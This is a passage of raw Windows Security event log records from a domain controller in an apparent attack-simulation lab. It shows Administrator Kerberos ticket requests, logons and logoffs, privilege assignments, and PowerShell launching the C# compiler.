	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252948
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252947
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181411

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252946
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252945
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D670

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252944
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F5BA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252943
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181411

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252942
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181411
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252941
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252940
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252939
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252938
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1813D9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252937
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1813D9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252936
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1813D9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252935
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252934
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252933
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252932
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x18134A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252931
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x180B1F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252930
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F7B6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252929
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x18134A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252928
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x18134A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252927
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252926
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252925
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252924
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1280
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES99F5.tmp" "c:\Users\Administrator\AppData\Local\Temp\31lsmfjt\CSCF94555C4DE7B4741ACB93C8ADB7317.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252923
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5d8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\31lsmfjt\31lsmfjt.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252999
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1817CB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252998
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C32

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252997
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C32
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{9C3A0786-1CD4-A3A1-9082-1792EACCF1B2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252996
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{9C3A0786-1CD4-A3A1-9082-1792EACCF1B2}

Target Server:
